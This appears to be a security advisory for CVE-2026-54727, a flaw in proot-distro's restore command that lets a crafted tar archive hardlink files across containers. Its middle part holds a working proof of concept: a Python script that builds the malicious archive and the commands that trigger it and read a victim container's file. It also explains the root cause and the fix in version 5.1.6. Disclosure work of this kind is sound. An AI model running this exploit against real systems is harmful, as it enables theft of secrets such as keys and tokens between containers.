high · 8.2CVE-2026-54727Jul 29, 2026

CVE-2026-54727: proot-distro Container Isolation Bypass via Crafted Restore Archive

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A crafted backup archive can trick proot-distro's restore command into copying files between separate containers, leaking secrets or injecting attacker-controlled files across container boundaries.

Packageproot-distro
Ecosystempip
Affected<= 5.1.5
Fixed in5.1.6
CVE-2026-54727: proot-distro Container Isolation Bypass via Crafted Restore Archive

The problem

proot-distro's restore command extracts tar archives without checking whether a hardlink entry's source path belongs to the same container being restored. The linkname field in the archive is fully attacker-controlled, and the restore logic will happily resolve it into any other installed container's rootfs directory.

This breaks the isolation boundary between containers. An attacker who can get a user to run proot-distro restore on a malicious archive can read files from any other installed container (SSH keys, API tokens, database files) or write attacker-controlled content into them.

Proof of concept

A working proof-of-concept for CVE-2026-54727 in proot-distro, with the exact payload below.

bash
python3 - <<'EOF'
import tarfile

# Build a crafted archive that hardlinks victim/rootfs/root/proof.txt
# into the attacker container as exfil/stolen_key.
tf = tarfile.open("malicious.tar", "w")

# Create destination directory inside the attacker container
d = tarfile.TarInfo("attacker/rootfs/exfil")
d.type = tarfile.DIRTYPE
d.mode = 0o755
tf.addfile(d)

# Hardlink source points at a DIFFERENT container (victim)
h = tarfile.TarInfo("attacker/rootfs/exfil/stolen_key")
h.type = tarfile.LNKTYPE
h.linkname = "victim/rootfs/root/proof.txt"  # cross-container source
h.mode = 0o600
tf.addfile(h)

tf.close()
EOF

# Trigger the bypass
proot-distro restore ./malicious.tar

# Read the victim's file from inside the attacker container
proot-distro run attacker -- cat /exfil/stolen_key
# Output: PROOF-12345  (contents of victim container's /root/proof.txt)

The root cause is a missing container-identity check during hardlink processing in the restore path. The restore code correctly validates that the resolved linkname stays inside the proot-distro containers directory (preventing host path traversal), but it never verifies that the source container prefix in linkname matches the container currently being restored.

Archive-controlled metadata therefore determines which installed container is used as the copy source.

The CWE-669 (Incorrect Resource Transfer Between Spheres) classification fits precisely: data belonging to one container is transferred into another because the resource-ownership boundary is not enforced. The fix in commit 98aff324 adds a check that compares the container name parsed from linkname against the container currently being restored, and skips the entry if they differ.

The fix

Upgrade proot-distro to version 5.1.6. The patch (commit 98aff324b7d8500ff75a8ca9ac087ee636be4716) adds a container-identity check before resolving hardlink sources: if the container parsed from member.linkname does not match the container being restored, the entry is silently skipped.

No configuration change or workaround is available for older versions; the only safe remediation is upgrading.

Reporter not attributed.

References: [1][2][3][4]

Related research